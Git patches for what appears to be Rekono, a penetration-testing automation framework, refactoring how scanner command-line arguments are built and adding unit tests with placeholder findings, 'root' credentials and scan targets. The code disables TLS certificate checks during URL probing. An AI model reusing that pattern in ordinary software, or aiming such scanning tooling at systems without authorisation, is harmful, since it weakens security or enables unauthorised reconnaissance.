InputKeyword.PORTS.name.lower() not in accumulated - else [self.port] + accumulated[InputKeyword.PORTS.name.lower()] + if not accumulated + else accumulated.get(InputKeyword.PORTS.name.lower(), []) + [self.port] ) output = { InputKeyword.PORT.name.lower(): self.port, InputKeyword.PORTS.name.lower(): ports, - InputKeyword.PORTS_COMMAS.name.lower(): [str(p) for p in ports], + InputKeyword.PORTS_COMMAS.name.lower(): ",".join([str(p) for p in ports]), } if self.host: output.update( @@ -170,10 +170,11 @@ class Path(Finding): ] def _clean_path_value(self, value: str) -> str: - if value[0] != "/": - value = f"/{value}" - if value[-1] != "/": - value += "/" + if len(value) > 1: + if value[0] != "/": + value = f"/{value}" + if value[-1] != "/": + value += "/" return value def parse( @@ -184,7 +185,7 @@ def parse( include_path_data = True if target_port.exists(): include_path_data = self._clean_path_value(self.path).startswith( - self._clean_path_value(target_port.first().path) + self._clean_path_value(target_port.first().path or self.path) ) if include_path_data: output[InputKeyword.ENDPOINT.name.lower()] = self.path diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 0fad90930..334b9d77f 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -112,6 +112,10 @@ def _get_url( schema = "{protocol}://{host}/{endpoint}" if port: schema = "{protocol}://{host}:{port}/{endpoint}" # Include port schema if port exists + if port == 80: + protocols = ["http"] + elif port == 443: + protocols = ["https"] for protocol in protocols: # For each protocol url_to_test = schema.format( protocol=protocol, host=host, port=port, endpoint=endpoint @@ -120,7 +124,7 @@ def _get_url( # nosemgrep: python.requests.security.disabled-cert-validation.disabled-cert-validation requests.get(url_to_test, timeout=5, verify=False) return url_to_test - except Exception: + except: continue return None diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index ecacd9a91..a0f82fb61 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -25,7 +25,7 @@ "fields": { "name": "Port", "model": "findings.port", - "fallback_model": "targets.targetport", + "fallback_model": "target_ports.targetport", "relationships": true } }, @@ -35,7 +35,7 @@ "fields": { "name": "Path", "model": "findings.path", - "fallback_model": null, + "fallback_model": "target_ports.targetport", "relationships": true } }, diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index dfdcb64f3..eb6cdcc1a 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -60,6 +60,7 @@ def parse( InputKeyword.HOST.name.lower(): self.target.target, InputKeyword.PORT.name.lower(): self.port, InputKeyword.PORTS.name.lower(): ports, + InputKeyword.ENDPOINT.name.lower(): self.path, InputKeyword.PORTS_COMMAS.name.lower(): ",".join( [str(p) for p in ports] ), diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index 107582017..14f54913d 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -73,10 +73,10 @@ def _consume_tool_task(self, task: Task) -> None: executions = self._calculate_executions( task.configuration.tool, [], - task.target.target_ports, - task.target.input_vulnerabilities, - task.target.input_technologies, - task.wordlists, + task.target.target_ports.all(), + task.target.input_vulnerabilities.all(), + task.target.input_technologies.all(), + task.wordlists.all(), ) for parameters in executions or [{}]: execution = Execution.objects.create( @@ -135,10 +135,10 @@ def _consume_process_task(self, task: Task) -> None: executions = self._calculate_executions_from_task_parameters( step.configuration.tool, [], - task.target.target_ports, - task.target.input_vulnerabilities, - task.target.input_technologies, - task.wordlists, + task.target.target_ports.all(), + task.target.input_vulnerabilities.all(), + task.target.input_technologies.all(), + task.wordlists.all(), ) for parameters in executions or [{}]: execution = Execution.objects.create( diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index b33b7af74..4992ae2d5 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -183,7 +183,7 @@ def _setup_findings(self, execution: Execution) -> None: }, Exploit: { "vulnerability": 1, - "title": "Reverse Shell", + "title": "ReverseShell", "edb_id": 1, "reference": "https://www.exploit-db.com/exploits/1", }, diff --git a/src/backend/tests/test_executors.py b/src/backend/tests/test_executors.py new file mode 100644 index 000000000..a1da0a8d6 --- /dev/null +++ b/src/backend/tests/test_executors.py @@ -0,0 +1,165 @@ +from typing import List + +from executions.enums import Status +from executions.models import Execution +from findings.enums import OSINTDataType +from findings.framework.models import Finding +from findings.models import Port +from input_types.enums import InputTypeName +from input_types.models import InputType +from parameters.models import InputTechnology, InputVulnerability +from target_ports.models import TargetPort +from tasks.models import Task +from tests.framework import RekonoTest +from tools.enums import Intensity as IntensityEnum +from tools.enums import Stage +from tools.models import Argument, Configuration, Input, Intensity, Tool +from wordlists.models import Wordlist + + +class ToolExecutorTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_target() + self.fake_tool = Tool.objects.create( + name="fake", + command="fake", + is_installed=True, + version="1.0.0", + version_argument="--version", + ) + for index, value in enumerate(IntensityEnum): + Intensity.objects.create( + tool=self.fake_tool, argument=f"-i {index}", value=value + ) + self.fake_configuration = Configuration.objects.create( + name="fake", + tool=self.fake_tool, + arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit}", + stage=Stage.ENUMERATION, + default=True, + ) + for value, required, multiple, input_type_names in [ + ("host", True, False, [InputTypeName.OSINT]), + ( + "url", + True, + False, + [InputTypeName.PATH, InputTypeName.PORT, InputTypeName.HOST], + ), + ("ports_commas", True, True, [InputTypeName.PORT]), + ("endpoint", False, False, [InputTypeName.PATH]), + ("technology", True, False, [InputTypeName.TECHNOLOGY]), + ("secret", False, False, [InputTypeName.CREDENTIAL]), + ("cve", True, False, [InputTypeName.VULNERABILITY]), + ("exploit", False, False, [InputTypeName.EXPLOIT]), + ]: + new_argument = Argument.objects.create( + tool=self.fake_tool, + name=value, + argument="-p {" + value + "}", + required=required, + multiple=multiple, + ) + for index, input_type_name in enumerate(input_type_names): + Input.objects.create( + argument=new_argument, + type=InputType.objects.get(name=input_type_name), + order=index + 1, + ) + self.task = Task.objects.create( + target=self.target, + configuration=self.fake_configuration, + executor=self.auditor1, + ) + self.execution = Execution.objects.create( + task=self.task, + configuration=self.fake_configuration, + status=Status.REQUESTED, + ) + self._setup_findings(self.execution) + # scanme.nmap.org: connectivity is needed to build a valid URL from host, port and path + self.host.address = "45.33.32.156" + self.host.save(update_fields=["address"]) + self.path.path = "/images" + self.path.save(update_fields=["path"]) + self.osint.data = "10.10.10.11" + self.osint.data_type = OSINTDataType.IP + self.osint.save(update_fields=["data", "data_type"]) + self.executor = self.fake_tool.get_executor_class()(self.execution) + + def test_get_environment(self) -> None: + expected_env = [("KEY1", "value1"), ("KEY2", "value2")] + self.executor.arguments = [f"{k}={v}" for k, v in expected_env] + [ + self.fake_tool.command, + "--foo=bar", + ] + environment = self.executor._get_environment() + for key, value in expected_env: + self.assertIsNotNone(environment.get(key)) + self.assertEqual(value, environment.get(key)) + + def _success_get_arguments( + self, + expected: str, + findings: List[Finding], + target_ports: List[TargetPort] = [], + input_vulnerabilities: List[InputVulnerability] = [], + input_technologies: List[InputTechnology] = [], + wordlists: List[Wordlist] = [], + ) -> None: + arguments = self.executor._get_arguments( + findings, target_ports, input_vulnerabilities, input_technologies, wordlists + ) + self.assertEqual(expected, " ".join(arguments)) + self.assertTrue( + self.executor.check_arguments( + findings, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ) + ) + + def test_get_arguments_only_findings(self) -> None: + self._success_get_arguments( + "-p 10.10.10.11 -p http://45.33.32.156:80/images -p 80 -p /images -p WordPress -p admin -p CVE-2023-1111 -p ReverseShell", + self.findings, + ) + + def test_get_arguments_only_required_findings(self) -> None: + self._success_get_arguments( + "-p 10.10.10.11 -p http://45.33.32.156:80/ -p 80 -p WordPress -p CVE-2023-1111", + [self.osint, self.host, self.port, self.technology, self.vulnerability], + ) + + def test_get_arguments_multiple_ports(self) -> None: + self._success_get_arguments( + "-p 10.10.10.11 -p http://45.33.32.156:80/ -p 80,443 -p WordPress -p CVE-2023-1111", + [ + self.osint, + self.host, + self.port, + self._create_finding( + Port, {**self.raw_findings[Port], "port": 443}, self.execution + ), + self.technology, + self.vulnerability, + ], + ) + + # TODO: test with target ports, user-provided parameters, wordlists and authentication + + def test_get_arguments_no_findings(self) -> None: + self.assertFalse(self.executor.check_arguments([], [], [], [], [])) + + def test_get_arguments_missing_one_required_finding(self) -> None: + self.assertFalse( + self.executor.check_arguments( + [self.osint, self.host, self.port, self.technology], [], [], [], [] + ) + ) + + +# TODO: Test Gobuster executor diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 4f1d17a6c..45126ecad 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -2,7 +2,6 @@ from findings.enums import ( HostOS, OSINTDataType, - PathType, PortStatus, Protocol, Severity, @@ -92,11 +91,11 @@ Exploit: ( { "title": "Exploit 1 found", - "description": "Reverse Shell", + "description": "ReverseShell", "severity": Severity.CRITICAL, "references": "https://www.exploit-db.com/exploits/1", }, - "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111 - Reverse Shell", + "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111 - ReverseShell", "/api/exploits/", ), } @@ -230,7 +229,7 @@ def test_str(self) -> None: Exploit, {"technology": 1}, "vulnerability", - "10.10.10.10 - 80 - WordPress - Reverse Shell", + "10.10.10.10 - 80 - WordPress - ReverseShell", ), ]: data = {**self.raw_findings[finding_model], **new_data} diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 0a18ef213..9b9e1b547 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -66,46 +66,54 @@ def _get_arguments( if self.execution.configuration.tool.output_format else "", } - for argument in self.execution.configuration.tool.arguments: - for argument_input in argument.inputs.order_by("order"): + for argument in self.execution.configuration.tool.arguments.all(): + for argument_input in argument.inputs.all().order_by("order"): input_model = argument_input.type.get_model_class() input_fallback = argument_input.type.get_fallback_model_class() parsed_data: Dict[str, Any] = {} for base_input in ( findings - + wordlists - + Authentication.objects.filter( - target_port__target=self.execution.task.target, - target_port__port__in=[ - p.port for p in findings if isinstance(p, Port) - ], - ).all() + + list(wordlists) + + list( + Authentication.objects.filter( + target_port__target=self.execution.task.target, + target_port__port__in=[ + p.port for p in findings if isinstance(p, Port) + ], + ).all() + ) + [self.execution.task.target] - + target_ports + + list(target_ports) + [p.authentication for p in target_ports] - + input_vulnerabilities - + input_technologies + + list(input_vulnerabilities) + + list(input_technologies) ): - if isinstance(base_input, input_fallback) and parsed_data: + is_input_fallback = input_fallback and isinstance( + base_input, input_fallback + ) + if is_input_fallback and parsed_data: break if ( - isinstance(base_input, input_model) - or isinstance(base_input, input_fallback) + isinstance(base_input, input_model) or is_input_fallback ) and base_input.filter(argument_input): parsed_data = base_input.parse( self.execution.task.target, parsed_data ) + self.findings_used_in_execution[ + base_input.__class__ + ] = base_input if not argument.multiple: - self.findings_used_in_execution[ - base_input.__class__ - ] = base_input break if parsed_data: - parameters[argument.name] = argument.argument.format(**parsed_data) - elif argument.required: - raise RuntimeError( - f"Argument '{argument.name}' is required to execute tool '{argument.tool.name}'" - ) + break + if parsed_data: + parameters[argument.name] = argument.argument.format(**parsed_data) + elif not argument.required: + parameters[argument.name] = "" + else: + raise RuntimeError( + f"Argument '{argument.name}' is required to execute tool '{argument.tool.name}'" + ) return [ a.replace('"', "") for a in re.findall( @@ -153,7 +161,7 @@ def _before_running(self) -> None: pass def _run(self, environment: Dict[str, Any] = os.environ.copy()) -> str: - logger.info(f'[Tool] Running: {" ".join(self.arguments)}') + logger.info(f"[Tool] Running: {' '.join(self.arguments)}") process = subprocess.run( self.arguments, capture_output=True, From b047d89c23d18bcd06cad170276928c2d44aea50 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 00:52:17 +0100 Subject: [PATCH 057/141] More test cases for BaseExecutor --- src/backend/authentications/models.py | 2 +- .../tests/data/wordlists/default_wordlist.txt | 3 -- src/backend/tests/test_executors.py | 52 ++++++++++++++++--- src/backend/tools/executors/base.py | 9 ++-- 4 files changed, 49 insertions(+), 17 deletions(-) delete mode 100644 src/backend/tests/data/wordlists/default_wordlist.txt diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index cef0ebbf2..02768f1c2 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -62,7 +62,7 @@ def parse( { InputKeyword.USERNAME.name.lower(): self.name, InputKeyword.TOKEN.name.lower(): base64.b64encode( - f"{self.name}:{self.credential}".encode() + f"{self.name}:{self.secret}".encode() ).decode(), } ) diff --git a/src/backend/tests/data/wordlists/default_wordlist.txt b/src/backend/tests/data/wordlists/default_wordlist.txt deleted file mode 100644 index e53c39af2..000000000 --- a/src/backend/tests/data/wordlists/default_wordlist.txt +++ /dev/null @@ -1,3 +0,0 @@ -/robots.txt -/admin -/about \ No newline at end of file diff --git a/src/backend/tests/test_executors.py b/src/backend/tests/test_executors.py index a1da0a8d6..1611dbce9 100644 --- a/src/backend/tests/test_executors.py +++ b/src/backend/tests/test_executors.py @@ -1,5 +1,7 @@ from typing import List +from authentications.enums import AuthenticationType +from authentications.models import Authentication from executions.enums import Status from executions.models import Execution from findings.enums import OSINTDataType @@ -9,11 +11,13 @@ from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability from target_ports.models import TargetPort +from targets.enums import TargetType from tasks.models import Task from tests.framework import RekonoTest from tools.enums import Intensity as IntensityEnum from tools.enums import Stage from tools.models import Argument, Configuration, Input, Intensity, Tool +from wordlists.enums import WordlistType from wordlists.models import Wordlist @@ -35,12 +39,12 @@ def setUp(self) -> None: self.fake_configuration = Configuration.objects.create( name="fake", tool=self.fake_tool, - arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit}", + arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit} {username} {wordlist}", stage=Stage.ENUMERATION, default=True, ) for value, required, multiple, input_type_names in [ - ("host", True, False, [InputTypeName.OSINT]), + ("host", False, False, [InputTypeName.OSINT]), ( "url", True, @@ -53,6 +57,8 @@ def setUp(self) -> None: ("secret", False, False, [InputTypeName.CREDENTIAL]), ("cve", True, False, [InputTypeName.VULNERABILITY]), ("exploit", False, False, [InputTypeName.EXPLOIT]), + ("username", False, False, [InputTypeName.AUTHENTICATION]), + ("wordlist", False, False, [InputTypeName.WORDLIST]), ]: new_argument = Argument.objects.create( tool=self.fake_tool, @@ -130,15 +136,14 @@ def test_get_arguments_only_findings(self) -> None: def test_get_arguments_only_required_findings(self) -> None: self._success_get_arguments( - "-p 10.10.10.11 -p http://45.33.32.156:80/ -p 80 -p WordPress -p CVE-2023-1111", - [self.osint, self.host, self.port, self.technology, self.vulnerability], + "-p http://45.33.32.156:80/ -p 80 -p WordPress -p CVE-2023-1111", + [self.host, self.port, self.technology, self.vulnerability], ) def test_get_arguments_multiple_ports(self) -> None: self._success_get_arguments( - "-p 10.10.10.11 -p http://45.33.32.156:80/ -p 80,443 -p WordPress -p CVE-2023-1111", + "-p http://45.33.32.156:80/ -p 80,443 -p WordPress -p CVE-2023-1111", [ - self.osint, self.host, self.port, self._create_finding( @@ -149,9 +154,40 @@ def test_get_arguments_multiple_ports(self) -> None: ], ) - # TODO: test with target ports, user-provided parameters, wordlists and authentication - def test_get_arguments_no_findings(self) -> None: + self.target.target = "scanme.nmap.org" + self.target.type = TargetType.DOMAIN + self.target.save(update_fields=["target", "type"]) + target_port = TargetPort.objects.create( + target=self.target, port=80, path="/images" + ) + Authentication.objects.create( + name="root", + secret="root", + type=AuthenticationType.BASIC, + target_port=target_port, + ) + input_vulnerability = InputVulnerability.objects.create( + target=self.target, cve="CVE-2023-2222" + ) + input_technology = InputTechnology.objects.create( + target=self.target, name="Joomla", version="2.0.0" + ) + wordlist = Wordlist.objects.create( + name="test", + type=WordlistType.ENDPOINT, + path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", + ) + self._success_get_arguments( + f"-p http://scanme.nmap.org:80/images -p 80 -p /images -p Joomla -p CVE-2023-2222 -p root -p {wordlist.path}", + [], + [target_port], + [input_vulnerability], + [input_technology], + [wordlist], + ) + + def test_get_arguments_no_base_inputs(self) -> None: self.assertFalse(self.executor.check_arguments([], [], [], [], [])) def test_get_arguments_missing_one_required_finding(self) -> None: diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 9b9e1b547..99ef0fbe3 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -88,14 +88,13 @@ def _get_arguments( + list(input_vulnerabilities) + list(input_technologies) ): - is_input_fallback = input_fallback and isinstance( + is_fallback = input_fallback and isinstance( base_input, input_fallback ) - if is_input_fallback and parsed_data: + if is_fallback and parsed_data: break - if ( - isinstance(base_input, input_model) or is_input_fallback - ) and base_input.filter(argument_input): + is_model = input_model and isinstance(base_input, input_model) + if (is_model or is_fallback) and base_input.filter(argument_input): parsed_data = base_input.parse( self.execution.task.target, parsed_data ) From e02d2495a09e81e9cf4f1d9849e42d2b3e4980f7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 00:57:27 +0100 Subject: [PATCH 058/141] Move Wordlist model reference from fallback to model field in the related InputType --- src/backend/input_types/fixtures/1_input_types.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index a0f82fb61..24141a006 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -84,8 +84,8 @@ "pk": 9, "fields": { "name": "Wordlist", - "model": null, - "fallback_model": "wordlists.wordlist", + "model": "wordlists.wordlist", + "fallback_model": null, "relationships": true } }, From 1015cecb64ca52f4ecfd39d0bbc680e55b8c64bb Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 01:19:16 +0100 Subject: [PATCH 059/141] Unit tests for GobusterExecutor --- src/backend/framework/models.py | 13 ++++--- src/backend/tests/test_executors.py | 52 ++++++++++++++++++++++++- src/backend/tools/executors/gobuster.py | 13 +++++-- 3 files changed, 69 insertions(+), 9 deletions(-) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 334b9d77f..b75da344f 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -161,11 +161,14 @@ def filter(self, input: Any) -> bool: and self._compare_filter( filter.type[filter_value.upper()], field_value, negative ) - ) or self._compare_filter( - filter.type(getattr(self, filter_value)), - field_value, - negative, - filter.contains, + ) or ( + hasattr(self, filter_value) + and self._compare_filter( + filter.type(getattr(self, filter_value)), + field_value, + negative, + filter.contains, + ) ): return True except (ValueError, KeyError): diff --git a/src/backend/tests/test_executors.py b/src/backend/tests/test_executors.py index 1611dbce9..1e8b1b705 100644 --- a/src/backend/tests/test_executors.py +++ b/src/backend/tests/test_executors.py @@ -12,6 +12,7 @@ from parameters.models import InputTechnology, InputVulnerability from target_ports.models import TargetPort from targets.enums import TargetType +from targets.models import Target from tasks.models import Task from tests.framework import RekonoTest from tools.enums import Intensity as IntensityEnum @@ -198,4 +199,53 @@ def test_get_arguments_missing_one_required_finding(self) -> None: ) -# TODO: Test Gobuster executor +class GobusterExecutorTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_project() + self.endpoints_wordlist = Wordlist.objects.create( + name="endpoints", + type=WordlistType.ENDPOINT, + path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", + ) + self.subdomains_wordlist = Wordlist.objects.create( + name="subdomains", + type=WordlistType.SUBDOMAIN, + path=self.data_dir / "wordlists" / "subdomains_wordlist.txt", + ) + + def _setup_executor(self, target: str) -> None: + self.target = Target.objects.create( + project=self.project, target=target, type=Target.get_type(target) + ) + self.configuration = Configuration.objects.get( + tool__name="Gobuster", default=True + ) + self.task = Task.objects.create( + target=self.target, + configuration=self.configuration, + executor=self.auditor1, + ) + self.execution = Execution.objects.create( + task=self.task, + configuration=self.configuration, + status=Status.REQUESTED, + ) + self.executor = self.configuration.tool.get_executor_class()(self.execution) + + def _test_check_arguments( + self, target: str, wordlist: Wordlist, expected: bool + ) -> None: + self._setup_executor(target) + self.assertEqual( + expected, self.executor.check_arguments([], [], [], [], [wordlist]) + ) + + def test_check_arguments_no_domain_target(self) -> None: + self._test_check_arguments("10.10.10.10", self.subdomains_wordlist, False) + + def test_check_arguments_no_wordlist(self) -> None: + self._test_check_arguments("scanme.nmap.org", self.endpoints_wordlist, False) + + def test_check_arguments(self) -> None: + self._test_check_arguments("scanme.nmap.org", self.subdomains_wordlist, True) diff --git a/src/backend/tools/executors/gobuster.py b/src/backend/tools/executors/gobuster.py index c33262d32..0e580765b 100644 --- a/src/backend/tools/executors/gobuster.py +++ b/src/backend/tools/executors/gobuster.py @@ -1,17 +1,24 @@ from typing import List from findings.models import Finding -from input_types.models import BaseInput +from parameters.models import InputTechnology, InputVulnerability +from target_ports.models import TargetPort from tools.executors.base import BaseExecutor +from wordlists.models import Wordlist class Gobuster(BaseExecutor): def _get_arguments( self, findings: List[Finding], - target_ports_and_parameters: List[BaseInput], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], ) -> List[str]: - arguments = super()._get_arguments(findings, target_ports_and_parameters) + arguments = super()._get_arguments( + findings, target_ports, input_vulnerabilities, input_technologies, wordlists + ) if "--url" not in arguments and "--domain" not in arguments: raise RuntimeError( f"Argument 'url' or 'domain' is required to execute tool '{self.execution.configuration.tool.name}'" From a577286b946e3a9864d9f46a2792e5482bd56a61 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 01:48:32 +0100 Subject: [PATCH 060/141] Mock _get_url method to avoid connectivity errors from GitHub Actions --- src/backend/tests/executors/__init__.py | 0 src/backend/tests/executors/mock.py | 9 +++ .../test_base.py} | 81 ++++--------------- src/backend/tests/executors/test_gobuster.py | 60 ++++++++++++++ 4 files changed, 83 insertions(+), 67 deletions(-) create mode 100644 src/backend/tests/executors/__init__.py create mode 100644 src/backend/tests/executors/mock.py rename src/backend/tests/{test_executors.py => executors/test_base.py} (70%) create mode 100644 src/backend/tests/executors/test_gobuster.py diff --git a/src/backend/tests/executors/__init__.py b/src/backend/tests/executors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/executors/mock.py b/src/backend/tests/executors/mock.py new file mode 100644 index 000000000..365f58bde --- /dev/null +++ b/src/backend/tests/executors/mock.py @@ -0,0 +1,9 @@ +from typing import Any + + +def get_url(*args: Any, **kwargs: Any) -> str: + url = f"http://{args[1]}" + if len(args) > 2: + url += f":{args[2]}" + url += args[3] if len(args) > 3 else "/" + return url diff --git a/src/backend/tests/test_executors.py b/src/backend/tests/executors/test_base.py similarity index 70% rename from src/backend/tests/test_executors.py rename to src/backend/tests/executors/test_base.py index 1e8b1b705..6788e1a75 100644 --- a/src/backend/tests/test_executors.py +++ b/src/backend/tests/executors/test_base.py @@ -1,4 +1,5 @@ from typing import List +from unittest import mock from authentications.enums import AuthenticationType from authentications.models import Authentication @@ -11,9 +12,8 @@ from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability from target_ports.models import TargetPort -from targets.enums import TargetType -from targets.models import Target from tasks.models import Task +from tests.executors.mock import get_url from tests.framework import RekonoTest from tools.enums import Intensity as IntensityEnum from tools.enums import Stage @@ -85,11 +85,6 @@ def setUp(self) -> None: status=Status.REQUESTED, ) self._setup_findings(self.execution) - # scanme.nmap.org: connectivity is needed to build a valid URL from host, port and path - self.host.address = "45.33.32.156" - self.host.save(update_fields=["address"]) - self.path.path = "/images" - self.path.save(update_fields=["path"]) self.osint.data = "10.10.10.11" self.osint.data_type = OSINTDataType.IP self.osint.save(update_fields=["data", "data_type"]) @@ -129,21 +124,24 @@ def _success_get_arguments( ) ) + @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_only_findings(self) -> None: self._success_get_arguments( - "-p 10.10.10.11 -p http://45.33.32.156:80/images -p 80 -p /images -p WordPress -p admin -p CVE-2023-1111 -p ReverseShell", + "-p 10.10.10.11 -p http://10.10.10.10:80/index.php -p 80 -p /index.php -p WordPress -p admin -p CVE-2023-1111 -p ReverseShell", self.findings, ) + @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_only_required_findings(self) -> None: self._success_get_arguments( - "-p http://45.33.32.156:80/ -p 80 -p WordPress -p CVE-2023-1111", + "-p http://10.10.10.10:80/ -p 80 -p WordPress -p CVE-2023-1111", [self.host, self.port, self.technology, self.vulnerability], ) + @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_multiple_ports(self) -> None: self._success_get_arguments( - "-p http://45.33.32.156:80/ -p 80,443 -p WordPress -p CVE-2023-1111", + "-p http://10.10.10.10:80/ -p 80,443 -p WordPress -p CVE-2023-1111", [ self.host, self.port, @@ -155,12 +153,12 @@ def test_get_arguments_multiple_ports(self) -> None: ], ) + @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_no_findings(self) -> None: - self.target.target = "scanme.nmap.org" - self.target.type = TargetType.DOMAIN - self.target.save(update_fields=["target", "type"]) + self.target.target = "10.10.10.12" + self.target.save(update_fields=["target"]) target_port = TargetPort.objects.create( - target=self.target, port=80, path="/images" + target=self.target, port=80, path="/login.php" ) Authentication.objects.create( name="root", @@ -180,7 +178,7 @@ def test_get_arguments_no_findings(self) -> None: path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", ) self._success_get_arguments( - f"-p http://scanme.nmap.org:80/images -p 80 -p /images -p Joomla -p CVE-2023-2222 -p root -p {wordlist.path}", + f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {wordlist.path}", [], [target_port], [input_vulnerability], @@ -191,61 +189,10 @@ def test_get_arguments_no_findings(self) -> None: def test_get_arguments_no_base_inputs(self) -> None: self.assertFalse(self.executor.check_arguments([], [], [], [], [])) + @mock.patch("framework.models.BaseInput._get_url", get_url) def test_get_arguments_missing_one_required_finding(self) -> None: self.assertFalse( self.executor.check_arguments( [self.osint, self.host, self.port, self.technology], [], [], [], [] ) ) - - -class GobusterExecutorTest(RekonoTest): - def setUp(self) -> None: - super().setUp() - self._setup_project() - self.endpoints_wordlist = Wordlist.objects.create( - name="endpoints", - type=WordlistType.ENDPOINT, - path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", - ) - self.subdomains_wordlist = Wordlist.objects.create( - name="subdomains", - type=WordlistType.SUBDOMAIN, - path=self.data_dir / "wordlists" / "subdomains_wordlist.txt", - ) - - def _setup_executor(self, target: str) -> None: - self.target = Target.objects.create( - project=self.project, target=target, type=Target.get_type(target) - ) - self.configuration = Configuration.objects.get( - tool__name="Gobuster", default=True - ) - self.task = Task.objects.create( - target=self.target, - configuration=self.configuration, - executor=self.auditor1, - ) - self.execution = Execution.objects.create( - task=self.task, - configuration=self.configuration, - status=Status.REQUESTED, - ) - self.executor = self.configuration.tool.get_executor_class()(self.execution) - - def _test_check_arguments( - self, target: str, wordlist: Wordlist, expected: bool - ) -> None: - self._setup_executor(target) - self.assertEqual( - expected, self.executor.check_arguments([], [], [], [], [wordlist]) - ) - - def test_check_arguments_no_domain_target(self) -> None: - self._test_check_arguments("10.10.10.10", self.subdomains_wordlist, False) - - def test_check_arguments_no_wordlist(self) -> None: - self._test_check_arguments("scanme.nmap.org", self.endpoints_wordlist, False) - - def test_check_arguments(self) -> None: - self._test_check_arguments("scanme.nmap.org", self.subdomains_wordlist, True) diff --git a/src/backend/tests/executors/test_gobuster.py b/src/backend/tests/executors/test_gobuster.py new file mode 100644 index 000000000..3d6038c7e --- /dev/null +++ b/src/backend/tests/executors/test_gobuster.py @@ -0,0 +1,60 @@ +from executions.enums import Status +from executions.models import Execution +from targets.models import Target +from tasks.models import Task +from tests.framework import RekonoTest +from tools.models import Configuration +from wordlists.enums import WordlistType +from wordlists.models import Wordlist + + +class GobusterExecutorTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_project() + self.endpoints_wordlist = Wordlist.objects.create( + name="endpoints", + type=WordlistType.ENDPOINT, + path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", + ) + self.subdomains_wordlist = Wordlist.objects.create( + name="subdomains", + type=WordlistType.SUBDOMAIN, + path=self.data_dir / "wordlists" / "subdomains_wordlist.txt", + ) + + def _setup_executor(self, target: str) -> None: + self.target = Target.objects.create( + project=self.project, target=target, type=Target.get_type(target) + ) + self.configuration = Configuration.objects.get( + tool__name="Gobuster", default=True + ) + self.task = Task.objects.create( + target=self.target, + configuration=self.configuration, + executor=self.auditor1, + ) + self.execution = Execution.objects.create( + task=self.task, + configuration=self.configuration, + status=Status.REQUESTED, + ) + self.executor = self.configuration.tool.get_executor_class()(self.execution) + + def _test_check_arguments( + self, target: str, wordlist: Wordlist, expected: bool + ) -> None: + self._setup_executor(target) + self.assertEqual( + expected, self.executor.check_arguments([], [], [], [], [wordlist]) + ) + + def test_check_arguments_no_domain_target(self) -> None: + self._test_check_arguments("10.10.10.10", self.subdomains_wordlist, False) + + def test_check_arguments_no_wordlist(self) -> None: + self._test_check_arguments("scanme.nmap.org", self.endpoints_wordlist, False) + + def test_check_arguments(self) -> None: + self._test_check_arguments("scanme.nmap.org", self.subdomains_wordlist, True) From c8fbb35e19abd809a2f994be53e2e1eab9f2b56a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 7 Dec 2023 18:29:32 +0100 Subject: [PATCH 061/141] Unit tests for executions generation from tool and process task --- src/backend/executions/queues.py | 2 +- 